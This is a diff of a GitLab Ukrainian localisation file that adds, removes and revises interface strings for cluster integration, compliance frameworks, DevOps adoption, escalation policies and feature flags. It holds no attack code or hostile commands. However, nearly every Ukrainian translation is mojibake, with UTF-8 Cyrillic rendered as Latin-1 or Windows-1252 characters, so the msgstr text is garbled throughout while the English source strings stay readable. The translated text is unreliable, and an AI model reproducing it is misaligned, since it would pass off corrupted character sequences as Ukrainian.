msgstr "Ð†Ð¼â€™Ñ Ñ€ÐµÑурÑу Amazon (ARN), пов’Ñазане із вашою роллю. Якщо у Ð²Ð°Ñ Ð½ÐµÐ¼Ð°Ñ” ролі Ð´Ð»Ñ Ð¿Ñ€Ð¾Ð²Ñ–Ð·Ñ–ÑŽÐ²Ð°Ð½Ð½Ñ, Ñпочатку Ñтворіть Ñ—Ñ— в %{startAwsLink}Amazon Web Services %{externalLinkIcon}%{endLink} за допомогою облікового запиÑу та external ID вказаних вище %{startMoreInfoLink}Додаткова інформаціÑ%{endLink}"
@@ -7960,24 +7807,6 @@ msgstr "Сертифікат Kubernetes, що викориÑтовуєтьÑÑ Ð
msgid "ClusterIntegration|The URL used to access the Kubernetes API."
msgstr "URL-адреÑа, що викориÑтовуєтьÑÑ Ð´Ð»Ñ Ð´Ð¾Ñтупу до Kubernetes API."
-msgid "ClusterIntegration|The associated IP and all deployed services will be deleted and cannot be restored. Uninstalling Knative will also remove Istio from your cluster. This will not effect any other applications."
-msgstr "Пов’Ñзана IP-адреÑа та вÑÑ– розгорнуті ÑервіÑи будуть видалені без можливоÑÑ‚Ñ– відновленнÑ. Ð’Ð¸Ð´Ð°Ð»ÐµÐ½Ð½Ñ Knative також видалить Istio із вашого клаÑтера. Це не вплине на інші заÑтоÑунки."
-
-msgid "ClusterIntegration|The associated Tiller pod will be deleted and cannot be restored. Your other applications will remain unaffected."
-msgstr ""
-
-msgid "ClusterIntegration|The associated load balancer and IP will be deleted and cannot be restored."
-msgstr "Пов’Ñзані баланÑувальник Ð½Ð°Ð²Ð°Ð½Ñ‚Ð°Ð¶ÐµÐ½Ð½Ñ Ñ‚Ð° IP-адреÑа будуть видалені Ñ– не зможуть бути відновлені."
-
-msgid "ClusterIntegration|The associated private key will be deleted and cannot be restored."
-msgstr "Пов’Ñзаний приватний ключ буде видалений Ñ– не зможе бути відновлений."
-
-msgid "ClusterIntegration|The elastic stack collects logs from all pods in your cluster"
-msgstr "Стек Elastic збирає журнали з уÑÑ–Ñ… pod'ів вашого клаÑтера"
-
-msgid "ClusterIntegration|The endpoint is in the process of being assigned. Please check your Kubernetes cluster or Quotas on Google Kubernetes Engine if it takes a long time."
-msgstr "ВідбуваєтьÑÑ Ð¿Ñ€Ð¸Ð·Ð½Ð°Ñ‡ÐµÐ½Ð½Ñ ÐºÑ–Ð½Ñ†ÐµÐ²Ð¾Ñ— точки. Будь лаÑка, перевірте квоти вашого Kubernetes клаÑтера на Google Kubernetes Engine, Ñкщо це займає багато чаÑу."
-
msgid "ClusterIntegration|The namespace associated with your project. This will be used for deploy boards, logs, and Web terminals."
msgstr ""
@@ -8008,9 +7837,6 @@ msgstr ""
msgid "ClusterIntegration|This will permanently delete the following resources:"
msgstr ""
-msgid "ClusterIntegration|To access your application after deployment, point a wildcard DNS to the Knative Endpoint."
-msgstr "Щоб отримати доÑтуп до вашого заÑтоÑунку, піÑÐ»Ñ Ð¹Ð¾Ð³Ð¾ розгортаннÑ, направте ваш DNS на кінцеву точку Knative."
-
msgid "ClusterIntegration|To create a cluster, first create a project on %{docsLinkStart}Google Cloud Platform%{docsLinkEnd}."
msgstr ""
@@ -8032,21 +7858,9 @@ msgstr ""
msgid "ClusterIntegration|Unable to Connect"
msgstr ""
-msgid "ClusterIntegration|Uninstall %{appTitle}"
-msgstr "Видалити %{appTitle}"
-
msgid "ClusterIntegration|Unknown Error"
msgstr "Ðевідома помилка"
-msgid "ClusterIntegration|Update %{appTitle}"
-msgstr ""
-
-msgid "ClusterIntegration|Update failed. Please check the logs and try again."
-msgstr "Ðе вдалоÑÑ Ð¾Ð½Ð¾Ð²Ð¸Ñ‚Ð¸. Перевірте журнал та Ñпробуйте ще раз."
-
-msgid "ClusterIntegration|Use %{query}"
-msgstr "ВикориÑтовувати %{query}"
-
msgid "ClusterIntegration|Uses the Cloud Run, Istio, and HTTP Load Balancing addons for this cluster."
msgstr "ВикориÑтовує Ñ€Ð¾Ð·ÑˆÐ¸Ñ€ÐµÐ½Ð½Ñ Ð´Ð»Ñ Cloud Run, Istio та HTTP баланÑувальник Ð½Ð°Ð²Ð°Ð½Ñ‚Ð°Ð¶ÐµÐ½Ð½Ñ Ð´Ð»Ñ Ñ†ÑŒÐ¾Ð³Ð¾ клаÑтеру."
@@ -8071,27 +7885,12 @@ msgstr "Ви збираєтеÑÑ Ð²Ð¸Ð´Ð°Ð»Ð¸Ñ‚Ð¸ інтеграцію вашо
msgid "ClusterIntegration|You are about to remove your cluster integration."
msgstr "Ви збираєтеÑÑ Ð²Ð¸Ð´Ð°Ð»Ð¸Ñ‚Ð¸ інтеграцію з вашим клаÑтером."
-msgid "ClusterIntegration|You are about to uninstall %{appTitle} from your cluster."
-msgstr "Ви збираєтеÑÑ Ð²Ð¸Ð´Ð°Ð»Ð¸Ñ‚Ð¸ %{appTitle} зі Ñвого клаÑтера."
-
-msgid "ClusterIntegration|You are about to update %{appTitle} on your cluster."
-msgstr ""
-
msgid "ClusterIntegration|You must grant access to your organization’s AWS resources in order to create a new EKS cluster. To grant access, create a provision role using the account and external ID below and provide us the ARN."
msgstr "Щоб Ñтворити новий клаÑтер EKS ви повинні надати доÑтуп до реÑурÑів AWS вашої організації. Ð”Ð»Ñ Ð½Ð°Ð´Ð°Ð½Ð½Ñ Ð´Ð¾Ñтупу Ñтворіть роль Ð´Ð»Ñ Ð¿Ñ€Ð¾Ð²Ñ–Ð·Ñ–ÑŽÐ²Ð°Ð½Ð½Ñ Ð·Ð° допомогою облікового запиÑу та external ID, що наведені нижче Ñ– надайте нам ARN."
-msgid "ClusterIntegration|You must have an RBAC-enabled cluster to install Knative."
-msgstr "Ви повинні мати клаÑтер з підтримкою RBAC, щоб вÑтановити Knative."
-
-msgid "ClusterIntegration|You must specify a domain before you can install Knative."
-msgstr ""
-
msgid "ClusterIntegration|You should select at least two subnets"
msgstr ""
-msgid "ClusterIntegration|Your Elasticsearch cluster will be re-created during this upgrade. Your logs will be re-indexed, and you will lose historical logs from hosts terminated in the last 30 days."
-msgstr ""
-
msgid "ClusterIntegration|Your account must have %{link_to_kubernetes_engine}"
msgstr "Ваш обліковий Ð·Ð°Ð¿Ð¸Ñ Ð¿Ð¾Ð²Ð¸Ð½ÐµÐ½ мати %{link_to_kubernetes_engine}"
@@ -8107,12 +7906,6 @@ msgstr "Зона"
msgid "ClusterIntegration|access to Google Kubernetes Engine"
msgstr "доÑтуп до Google Kubernetes Engine"
-msgid "ClusterIntegration|can be used instead of a custom domain. "
-msgstr ""
-
-msgid "ClusterIntegration|installed via %{linkStart}Cloud Run%{linkEnd}"
-msgstr ""
-
msgid "ClusterIntegration|meets the requirements"
msgstr "задовольнÑÑ” вимогам"
@@ -8185,6 +7978,9 @@ msgstr "Потрібне Ð·Ð°Ñ‚Ð²ÐµÑ€Ð´Ð¶ÐµÐ½Ð½Ñ Ð²Ð»Ð°Ñником коду"
msgid "Code owners"
msgstr "ВлаÑники коду"
+msgid "Code review"
+msgstr ""
+
msgid "Code snippet copied. Insert it in the correct location in the YAML file."
msgstr ""
@@ -8200,9 +7996,15 @@ msgstr "Шаблон"
msgid "CodeQuality|Code quality"
msgstr ""
+msgid "CodeQuality|Code quality: %{severity} - %{description}"
+msgstr ""
+
msgid "CodeQuality|New code quality degradations in this file"
msgstr ""
+msgid "CodeQuality|New code quality degradations on this line"
+msgstr ""
+
msgid "CodeQuality|Some changes in this file degrade the code quality."
msgstr ""
@@ -8501,9 +8303,6 @@ msgstr ""
msgid "ComplianceFrameworks|Add framework"
msgstr ""
-msgid "ComplianceFrameworks|All"
-msgstr ""
-
msgid "ComplianceFrameworks|Combines with the CI configuration at runtime."
msgstr ""
@@ -8540,9 +8339,6 @@ msgstr ""
msgid "ComplianceFrameworks|Once a compliance framework is added it will appear here."
msgstr ""
-msgid "ComplianceFrameworks|Regulated"
-msgstr ""
-
msgid "ComplianceFrameworks|There are no compliance frameworks set up yet"
msgstr ""
@@ -8561,42 +8357,9 @@ msgstr ""
msgid "ComplianceFramework|Edit Compliance Framework"
msgstr ""
-msgid "ComplianceFramework|GDPR"
-msgstr "GDPR"
-
-msgid "ComplianceFramework|GDPR - General Data Protection Regulation"
-msgstr "GDPR - Загальне Ñ€ÐµÐ³ÑƒÐ»ÑŽÐ²Ð°Ð½Ð½Ñ Ð·Ð°Ñ…Ð¸Ñту даних"
-
-msgid "ComplianceFramework|HIPAA"
-msgstr "HIPAA"
-
-msgid "ComplianceFramework|HIPAA - Health Insurance Portability and Accountability Act"
-msgstr ""
-
msgid "ComplianceFramework|New Compliance Framework"
msgstr ""
-msgid "ComplianceFramework|PCI-DSS"
-msgstr "PCI-DSS"
-
-msgid "ComplianceFramework|PCI-DSS - Payment Card Industry-Data Security Standard"
-msgstr ""
-
-msgid "ComplianceFramework|SOC 2"
-msgstr "SOC 2"
-
-msgid "ComplianceFramework|SOC 2 - Service Organization Control 2"
-msgstr ""
-
-msgid "ComplianceFramework|SOX"
-msgstr "SOX"
-
-msgid "ComplianceFramework|SOX - Sarbanes-Oxley"
-msgstr ""
-
-msgid "ComplianceFramework|This project is regulated by %{framework}."
-msgstr ""
-
msgid "Component"
msgstr ""
@@ -8615,6 +8378,9 @@ msgstr "КонфігураціÑ"
msgid "Configuration help"
msgstr ""
+msgid "Configure %{link} to track events. %{link_start}Learn more.%{link_end}"
+msgstr ""
+
msgid "Configure GitLab runners to start using the Web Terminal. %{helpStart}Learn more.%{helpEnd}"
msgstr "Ðалаштувати runner'ів GitLab Ð´Ð»Ñ Ð¿Ð¾Ñ‡Ð°Ñ‚ÐºÑƒ викориÑÑ‚Ð°Ð½Ð½Ñ Ð’ÐµÐ±-терміналу. %{helpStart}Докладніше.%{helpEnd}"
@@ -8869,6 +8635,9 @@ msgstr ""
msgid "ContainerRegistry|Cleanup pending"
msgstr ""
+msgid "ContainerRegistry|Cleanup policies are now available for this project. %{linkStart}Click here to get started.%{linkEnd}"
+msgstr ""
+
msgid "ContainerRegistry|Cleanup policy for tags is disabled"
msgstr ""
@@ -9224,8 +8993,8 @@ msgstr "УчаÑники"
msgid "Control emails linked to your account"
msgstr "Керувати адреÑами електронної пошти, пов’Ñзаними з вашим обліковим запиÑом"
-msgid "Control the display of third party offers."
-msgstr "Керувати відображеннÑм Ñторонніх пропозицій."
+msgid "Control whether to display third-party offers in GitLab."
+msgstr ""
msgid "Cookie domain"
msgstr "Домен cookie"
@@ -9263,6 +9032,9 @@ msgstr "Скопіювати External ID в буфер обміну"
msgid "Copy ID"
msgstr "Скопіювати ID"
+msgid "Copy IP Address"
+msgstr ""
+
msgid "Copy KRB5 clone URL"
msgstr "Скопіювати URL Ð´Ð»Ñ ÐºÐ»Ð¾Ð½ÑƒÐ²Ð°Ð½Ð½Ñ Ñ‡ÐµÑ€ÐµÐ· KRB5"
@@ -9329,6 +9101,9 @@ msgstr ""
msgid "Copy the code below to implement tracking in your application:"
msgstr ""
+msgid "Copy this registration token."
+msgstr ""
+
msgid "Copy this value"
msgstr ""
@@ -9569,9 +9344,6 @@ msgstr ""
msgid "Create blank project"
msgstr "Створити пуÑтий проєкт"
-msgid "Create blank project/repository"
-msgstr "Створити порожній проєкт/репозиторій"
-
msgid "Create branch"
msgstr "Створити гілку"
@@ -9663,7 +9435,7 @@ msgid "Create new label"
msgstr "Створити нову мітку"
msgid "Create new project"
-msgstr ""
+msgstr "Створити новий проєкт"
msgid "Create new..."
msgstr "Створити..."
@@ -9698,9 +9470,6 @@ msgstr "Створити вашу першу Ñторінку"
msgid "Create your group"
msgstr ""
-msgid "Create your own profile to collaborate with your teammates in issues, merge requests, and more."
-msgstr ""
-
msgid "Create/import your first project"
msgstr "Створіть / імпортуйте Ñвій перший проєкт"
@@ -9932,6 +9701,12 @@ msgstr "ОÑобиÑÑ‚Ñ– токени доÑтупу"
msgid "CredentialsInventory|SSH Keys"
msgstr ""
+msgid "Credit card validated at:"
+msgstr ""
+
+msgid "Credit card validated:"
+msgstr ""
+
msgid "Critical vulnerabilities present"
msgstr "ПриÑутні критичні вразливоÑÑ‚Ñ–"
@@ -9941,9 +9716,6 @@ msgstr "ЧаÑовий поÑÑ Cron"
msgid "Cron time zone"
msgstr "ЧаÑовий поÑÑ Cron"
-msgid "Crossplane"
-msgstr "Crossplane"
-
msgid "Crowd"
msgstr ""
@@ -9959,9 +9731,6 @@ msgstr "Поточний проєкт"
msgid "Current forks will keep their visibility level."
msgstr ""
-msgid "Current node"
-msgstr "Поточний вузол"
-
msgid "Current node must be the primary node or you will be locking yourself out"
msgstr "Поточний вузол повинен бути оÑновним, інакше ви будете заблоковані"
@@ -10037,6 +9806,9 @@ msgstr ""
msgid "Customizable by owners."
msgstr ""
+msgid "Customize CI/CD settings, including Auto DevOps, shared runners, and job artifacts."
+msgstr ""
+
msgid "Customize colors"
msgstr "ÐÐ°Ð»Ð°ÑˆÑ‚ÑƒÐ²Ð°Ð½Ð½Ñ ÐºÐ¾Ð»ÑŒÐ¾Ñ€Ñ–Ð²"
@@ -10258,9 +10030,6 @@ msgstr ""
msgid "DAST Scans"
msgstr ""
-msgid "DAST Settings"
-msgstr ""
-
msgid "DNS"
msgstr "DNS"
@@ -10327,6 +10096,18 @@ msgstr "%{firstProject}, %{rest}, Ñ– %{secondProject}"
msgid "Dashboard|Unable to add %{invalidProjects}. This dashboard is available for public projects, and private projects in groups with a Premium plan."
msgstr ""
+msgid "DastConfig|Customize DAST settings to suit your requirements. Configuration changes made here override those provided by GitLab and are excluded from updates. For details of more advanced configuration options, see the %{docsLinkStart}GitLab DAST documentation%{docsLinkEnd}."
+msgstr ""
+
+msgid "DastConfig|DAST Settings"
+msgstr ""
+
+msgid "DastConfig|Generate code snippet"
+msgstr ""
+
+msgid "DastConfig|Scan Configuration"
+msgstr ""
+
msgid "DastProfiles|A passive scan monitors all HTTP messages (requests and responses) sent to the target. An active scan attacks the target to find potential vulnerabilities."
msgstr ""
@@ -10688,9 +10469,6 @@ msgstr "Вибір дати"
msgid "Date range"
msgstr ""
-msgid "Date range cannot exceed %{maxDateRange} days."
-msgstr "Діапазон дат не може перевищувати %{maxDateRange} днів."
-
msgid "Date range must be shorter than %{max_range} days."
msgstr ""
@@ -10715,6 +10493,9 @@ msgstr "Днів"
msgid "Days to merge"
msgstr "Днів до злиттÑ"
+msgid "Deactivate dormant users after 90 days of inactivity. Users can return to active status by signing in to their account. While inactive, a user is not counted as an active user in the instance."
+msgstr ""
+
msgid "Deactivate this user"
msgstr ""
@@ -10748,8 +10529,8 @@ msgstr ""
msgid "Default"
msgstr ""
-msgid "Default CI configuration path"
-msgstr "ШлÑÑ… до конфігурації CI за замовчуваннÑм"
+msgid "Default CI/CD configuration file"
+msgstr ""
msgid "Default Timeout Period"
msgstr ""
@@ -10868,6 +10649,9 @@ msgstr "Видалити коментар"
msgid "Delete domain"
msgstr "Видалити домен"
+msgid "Delete file"
+msgstr ""
+
msgid "Delete image repository"
msgstr ""
@@ -11553,12 +11337,30 @@ msgstr ""
msgid "DevOps Report"
msgstr "Звіт DevOps"
+msgid "DevOps adoption"
+msgstr ""
+
+msgid "DevopsAdoption|%{adoptedCount}/%{featuresCount} %{title} features adopted"
+msgstr ""
+
msgid "DevopsAdoption|Add Group"
msgstr "Додати групу"
msgid "DevopsAdoption|Add a group to get started"
msgstr ""
+msgid "DevopsAdoption|Add group"
+msgstr ""
+
+msgid "DevopsAdoption|Add group to table"
+msgstr ""
+
+msgid "DevopsAdoption|Add sub-group"
+msgstr ""
+
+msgid "DevopsAdoption|Add sub-group to table"
+msgstr ""
+
msgid "DevopsAdoption|Add/remove groups"
msgstr ""
@@ -11616,7 +11418,7 @@ msgstr ""
msgid "DevopsAdoption|DevOps adoption tracks the use of key features across your favorite groups. Add a group to the table to begin."
msgstr ""
-msgid "DevopsAdoption|Feature adoption is based on usage in the current calendar month. Last updated: %{timestamp}."
+msgid "DevopsAdoption|Feature adoption is based on usage in the previous calendar month. Last updated: %{timestamp}."
msgstr ""
msgid "DevopsAdoption|Filter by name"
@@ -11628,21 +11430,24 @@ msgstr ""
msgid "DevopsAdoption|MRs"
msgstr ""
-msgid "DevopsAdoption|Maximum %{maxSegments} groups allowed"
-msgstr ""
-
msgid "DevopsAdoption|My group"
msgstr "ÐœÐ¾Ñ Ð³Ñ€ÑƒÐ¿Ð°"
msgid "DevopsAdoption|No filter results."
msgstr ""
+msgid "DevopsAdoption|No results…"
+msgstr ""
+
msgid "DevopsAdoption|Not adopted"
msgstr ""
msgid "DevopsAdoption|Ops"
msgstr ""
+msgid "DevopsAdoption|Overall adoption"
+msgstr ""
+
msgid "DevopsAdoption|Pipelines"
msgstr "Конвеєри"
@@ -11676,6 +11481,9 @@ msgstr ""
msgid "DevopsAdoption|There was an error fetching Groups. Please refresh the page."
msgstr ""
+msgid "DevopsAdoption|This group has no sub-groups"
+msgstr ""
+
msgid "DevopsAdoption|You cannot remove the group you are currently in."
msgstr ""
@@ -11697,6 +11505,9 @@ msgstr ""
msgid "DevopsReport|Moderate"
msgstr ""
+msgid "DevopsReport|Overview"
+msgstr ""
+
msgid "DevopsReport|Score"
msgstr ""
@@ -11715,15 +11526,12 @@ msgstr ""
msgid "Didn't receive unlock instructions?"
msgstr ""
-msgid "Diff content limits"
-msgstr "ÐžÐ±Ð¼ÐµÐ¶ÐµÐ½Ð½Ñ Ð¿Ð¾Ñ€Ñ–Ð²Ð½ÑÐ½Ð½Ñ Ð·Ð¼Ñ–Ñту"
+msgid "Diff files surpassing this limit will be presented as 'too large' and won't be expandable."
+msgstr ""
msgid "Diff limits"
msgstr "Diff обмеженнÑ"
-msgid "Diff view settings"
-msgstr ""
-
msgid "Difference between start date and now"
msgstr "Ð Ñ–Ð·Ð½Ð¸Ñ†Ñ Ð¼Ñ–Ð¶ датою початку та теперішньою"
@@ -11911,8 +11719,8 @@ msgstr "Показувати перетворений файл"
msgid "Display source"
msgstr "Показати джерело"
-msgid "Do not display offers from third parties within GitLab"
-msgstr "Ðе відображати пропозиції від третіх Ñторін у GitLab"
+msgid "Do not display offers from third parties"
+msgstr ""
msgid "Do you want to remove this deploy key?"
msgstr ""
@@ -11962,7 +11770,7 @@ msgstr ""
msgid "Don't paste the private part of the GPG key. Paste the public part which begins with '-----BEGIN PGP PUBLIC KEY BLOCK-----'."
msgstr "Ðе вÑтавлÑйте приватну чаÑтину GPG ключа. Ð’Ñтавте публічну чаÑтину, Ñка починаєтьÑÑ Ñ–Ð· \"-----BEGIN PGP PUBLIC KEY BLOCK-----\"."
-msgid "Don't send usage data"
+msgid "Don't send service data"
msgstr ""
msgid "Don't show again"
@@ -11971,6 +11779,9 @@ msgstr "Ðе показувати знову"
msgid "Done"
msgstr "Готово"
+msgid "Dormant users"
+msgstr ""
+
msgid "Download"
msgstr "Завантажити"
@@ -12187,9 +11998,6 @@ msgstr "Редагувати задачі"
msgid "Edit iteration"
msgstr "Редагувати ітерацію"
-msgid "Edit iteration cadence"
-msgstr ""
-
msgid "Edit public deploy key"
msgstr "Редагувати публічний ключ Ð´Ð»Ñ Ñ€Ð¾Ð·Ð³Ð¾Ñ€Ñ‚Ð°Ð½Ð½Ñ"
@@ -12223,9 +12031,6 @@ msgstr "Відредаговано %{timeago}"
msgid "Editing"
msgstr "РедагуваннÑ"
-msgid "Editor Lite instance is required to set up an extension."
-msgstr ""
-
msgid "Elapsed time"
msgstr ""
@@ -12286,6 +12091,9 @@ msgstr ""
msgid "Email display name"
msgstr "Відображуване ім'Ñ ÐµÐ»ÐµÐºÑ‚Ñ€Ð¾Ð½Ð½Ð¾Ñ— пошти"
+msgid "Email from GitLab - email users right from the Admin Area. %{link_start}Learn more%{link_end}."
+msgstr ""
+
msgid "Email not verified. Please verify your email in Salesforce."
msgstr "Електронну пошту не перевірено. Будь лаÑка, перевірте Ñ—Ñ— в Salesforce."
@@ -12415,6 +12223,9 @@ msgstr ""
msgid "Enable Kroki"
msgstr "Увімкнути Kroki"
+msgid "Enable Mailgun event receiver"
+msgstr ""
+
msgid "Enable PlantUML"
msgstr "Увімкнути PlantUML"
@@ -12424,13 +12235,16 @@ msgstr ""
msgid "Enable Pseudonymizer data collection"
msgstr "Увімкнути збір даних Ð´Ð»Ñ Pseudonymizer"
+msgid "Enable Registration Features"
+msgstr ""
+
msgid "Enable Repository Checks"
msgstr "Увімкнути перевірку репозиторію"
msgid "Enable SSL verification"
msgstr ""
-msgid "Enable Seat Link"
+msgid "Enable Snowplow tracking"
msgstr ""
msgid "Enable Spam Check via external API endpoint"
@@ -12511,14 +12325,11 @@ msgstr "Увімкнути режим обÑлуговуваннÑ"
msgid "Enable mirror configuration"
msgstr "Увімкнути Ð½Ð°Ð»Ð°ÑˆÑ‚ÑƒÐ²Ð°Ð½Ð½Ñ Ð²Ñ–Ð´Ð´Ð·ÐµÑ€ÐºÐ°Ð»ÐµÐ½Ð½Ñ"
-msgid "Enable or disable Seat Link."
-msgstr ""
-
msgid "Enable or disable the Pseudonymizer data collection."
msgstr "Увімкнути чи вимкнути збір даних Ð´Ð»Ñ Pseudonymizer."
-msgid "Enable or disable version check and usage ping."
-msgstr "Увімкнути чи вимкнути перевірку верÑÑ–Ñ— та надÑÐ¸Ð»Ð°Ð½Ð½Ñ Ð´Ð°Ð½Ð¸Ñ… про викориÑтаннÑ."
+msgid "Enable or disable version check and service ping."
+msgstr ""
msgid "Enable protected paths rate limit"
msgstr "Увімкнути Ð¾Ð±Ð¼ÐµÐ¶ÐµÐ½Ð½Ñ Ñ‡Ð°Ñтоти Ð´Ð»Ñ Ð·Ð°Ñ…Ð¸Ñ‰ÐµÐ½Ð¸Ñ… шлÑхів"
@@ -12535,6 +12346,9 @@ msgstr ""
msgid "Enable reCAPTCHA, Invisible Captcha, Akismet and set IP limits. For reCAPTCHA, we currently only support %{recaptcha_v2_link_start}v2%{recaptcha_v2_link_end}"
msgstr ""
+msgid "Enable service ping"
+msgstr ""
+
msgid "Enable shared runners for all projects and subgroups in this group."
msgstr ""
@@ -12550,9 +12364,6 @@ msgstr ""
msgid "Enable smartcn custom analyzer: Search"
msgstr ""
-msgid "Enable snowplow tracking"
-msgstr "Увімкнути відÑÑ‚ÐµÐ¶ÐµÐ½Ð½Ñ Ñ‡ÐµÑ€ÐµÐ· snowplow"
-
msgid "Enable two-factor authentication"
msgstr "Увімкнути двофакторну автентифікацію"
@@ -12562,9 +12373,6 @@ msgstr ""
msgid "Enable unauthenticated request rate limit"
msgstr ""
-msgid "Enable usage ping"
-msgstr "Увімкнути збір даних про викориÑтаннÑ"
-
msgid "Enable version check"
msgstr ""
@@ -12694,6 +12502,9 @@ msgstr ""
msgid "Enter your password to approve"
msgstr "Введіть пароль Ð´Ð»Ñ Ð·Ð°Ñ‚Ð²ÐµÑ€Ð´Ð¶ÐµÐ½Ð½Ñ"
+msgid "Enterprise"
+msgstr ""
+
msgid "Environment"
msgstr "Середовище"
@@ -12859,9 +12670,6 @@ msgstr "ДізнатиÑÑ Ð±Ñ–Ð»ÑŒÑˆÐµ про зупинку Ñередовищ
msgid "Environments|Logs from %{start} to %{end}."
msgstr "Логи від %{start} до %{end}."
-msgid "Environments|Managed apps"
-msgstr ""
-
msgid "Environments|More information"
msgstr ""
@@ -13342,7 +13150,7 @@ msgstr ""
msgid "Escalation policies"
msgstr ""
-msgid "Escalation policies are not supported for this project"
+msgid "Escalation policies must have at least one rule"
msgstr ""
msgid "EscalationPolicies|+ Add an additional rule"
@@ -13351,30 +13159,54 @@ msgstr ""
msgid "EscalationPolicies|A schedule is required for adding an escalation policy."
msgstr ""
+msgid "EscalationPolicies|A schedule is required for adding an escalation policy. Please create an on-call schedule first."
+msgstr ""
+
msgid "EscalationPolicies|Add an escalation policy"
msgstr ""
msgid "EscalationPolicies|Add escalation policy"
msgstr ""
+msgid "EscalationPolicies|Add policy"
+msgstr ""
+
+msgid "EscalationPolicies|Are you sure you want to delete the \"%{escalationPolicy}\" escalation policy? This action cannot be undone."
+msgstr ""
+
msgid "EscalationPolicies|Create an escalation policy in GitLab"
msgstr ""
+msgid "EscalationPolicies|Delete escalation policy"
+msgstr ""
+
msgid "EscalationPolicies|Edit escalation policy"
msgstr ""
+msgid "EscalationPolicies|Elapsed time must be greater than or equal to zero."
+msgstr ""
+
msgid "EscalationPolicies|Email on-call user in schedule"
msgstr ""
+msgid "EscalationPolicies|Escalation policies"
+msgstr ""
+
msgid "EscalationPolicies|Escalation rules"
msgstr ""
msgid "EscalationPolicies|Failed to load oncall-schedules"
msgstr ""
+msgid "EscalationPolicies|IF alert is not %{alertStatus} in %{minutes} %{then} THEN %{doAction} %{schedule}"
+msgstr ""
+
msgid "EscalationPolicies|IF alert is not %{alertStatus} in %{minutes} minutes"
msgstr ""
+msgid "EscalationPolicies|Remove escalation rule"
+msgstr ""
+
msgid "EscalationPolicies|Select schedule"
msgstr ""
@@ -13384,6 +13216,15 @@ msgstr ""
msgid "EscalationPolicies|THEN %{doAction} %{schedule}"
msgstr ""
+msgid "EscalationPolicies|The escalation policy could not be deleted. Please try again."
+msgstr ""
+
+msgid "EscalationPolicies|The escalation policy could not be updated. Please try again"
+msgstr ""
+
+msgid "EscalationPolicies|mins"
+msgstr ""
+
msgid "Estimate"
msgstr "Оцінити"
@@ -13420,9 +13261,6 @@ msgstr "Фільтр по вікі"
msgid "Events"
msgstr "Події"
-msgid "Events in %{project_path}"
-msgstr "Події в %{project_path}"
-
msgid "Every %{action} attempt has failed: %{job_error_message}. Please try again."
msgstr "УÑÑ– Ñпроби %{action} закінчилиÑÑ Ð½ÐµÐ²Ð´Ð°Ñ‡ÐµÑŽ: %{job_error_message}. Будь лаÑка, Ñпробуйте знову."
@@ -13568,7 +13406,7 @@ msgstr ""
msgid "Experienced"
msgstr "ДоÑвідчений"
-msgid "ExperimentSubject|Must have exactly one of User, Group, or Project."
+msgid "ExperimentSubject|Must have exactly one of User, Namespace, or Project."
msgstr ""
msgid "Expiration"
@@ -13589,9 +13427,6 @@ msgstr "Термін дії закінчивÑÑ:"
msgid "Expires"
msgstr "ЗакінчуєтьÑÑ"
-msgid "Expires at"
-msgstr "ДійÑний до"
-
msgid "Expires at (optional)"
msgstr ""
@@ -13688,9 +13523,6 @@ msgstr "URL-адреÑа зовнішнього Ñховища"
msgid "External storage authentication token"
msgstr "Токен автентифікації зовнішнього Ñховища"
-msgid "External url has already been taken"
-msgstr ""
-
msgid "ExternalAuthorizationService|Classification label"
msgstr "Мітка клаÑифікації"
@@ -13709,9 +13541,6 @@ msgstr ""
msgid "ExternalWikiService|https://example.com/xxx/wiki/..."
msgstr ""
-msgid "Externally installed"
-msgstr ""
-
msgid "Facebook"
msgstr "Facebook"
@@ -13997,9 +13826,6 @@ msgstr ""
msgid "Feature Flags"
msgstr "Перемикачі функцій"
-msgid "Feature flag is not enabled on the environment's project."
-msgstr ""
-
msgid "Feature flag status"
msgstr ""
@@ -14031,9 +13857,6 @@ msgstr ""
msgid "FeatureFlags|* (All Environments)"
msgstr "* (УÑÑ– Ñередовища)"
-msgid "FeatureFlags|* (All environments)"
-msgstr "* (вÑÑ– Ñередовища)"
-
msgid "FeatureFlags|API URL"
msgstr "URL-адреÑа API"
@@ -14082,9 +13905,6 @@ msgstr "Редагувати ÑпиÑок кориÑтувачів"
msgid "FeatureFlags|Enable features for specific users and environments by configuring feature flag strategies."
msgstr ""
-msgid "FeatureFlags|Environment Spec"
-msgstr "Ð¡Ð¿ÐµÑ†Ð¸Ñ„Ñ–ÐºÐ°Ñ†Ñ–Ñ Ñередовища"
-
msgid "FeatureFlags|Environment Specs"
msgstr "Специфікації Ñередовищ"
@@ -14115,9 +13935,6 @@ msgstr "Перемикачі функцій дозволÑÑŽÑ‚ÑŒ налаштоÐ
msgid "FeatureFlags|Feature flags limit reached (%{featureFlagsLimit}). Delete one or more feature flags before adding new ones."
msgstr ""
-msgid "FeatureFlags|Flag is read-only"
-msgstr ""
-
msgid "FeatureFlags|Get started with feature flags"
msgstr "Розпочати роботу з перемикачами функцій"
@@ -14133,9 +13950,6 @@ msgstr "Ðеактивний"
msgid "FeatureFlags|Inactive flag for %{scope}"
msgstr "Ðеактивний перемикач функції Ð´Ð»Ñ %{scope}"
-msgid "FeatureFlags|Include additional user IDs"
-msgstr ""
-
msgid "FeatureFlags|Install a %{docsLinkAnchoredStart}compatible client library%{docsLinkAnchoredEnd} and specify the API URL, application name, and instance ID during the configuration setup. %{docsLinkStart}More Information%{docsLinkEnd}"
msgstr ""
@@ -14175,24 +13989,12 @@ msgstr ""
msgid "FeatureFlags|Percent rollout"
msgstr ""
-msgid "FeatureFlags|Percent rollout (logged in users)"
-msgstr "Процент Ñ€Ð¾Ð·Ð³Ð¾Ñ€Ñ‚Ð°Ð½Ð½Ñ (за кориÑтувачами, що здійÑнили вхід)"
-
msgid "FeatureFlags|Percent rollout must be an integer number between 0 and 100"
msgstr ""
-msgid "FeatureFlags|Protected"
-msgstr "Захищено"
-
msgid "FeatureFlags|Remove"
msgstr "Видалити"
-msgid "FeatureFlags|Rollout Percentage"
-msgstr "Процент розгортаннÑ"
-
-msgid "FeatureFlags|Rollout Strategy"
-msgstr "Ð¡Ñ‚Ñ€Ð°Ñ‚ÐµÐ³Ñ–Ñ Ñ€Ð¾Ð·Ð³Ð¾Ñ€Ñ‚Ð°Ð½Ð½Ñ"
-
msgid "FeatureFlags|Set the Unleash client application name to the name of the environment your application runs in. This value is used to match environment scopes. See the %{linkStart}example client configuration%{linkEnd}."
msgstr ""
@@ -14202,9 +14004,6 @@ msgstr "СтатуÑ"
msgid "FeatureFlags|Strategies"
msgstr ""
-msgid "FeatureFlags|Target environments"
-msgstr "Цільові Ñередовища"
-
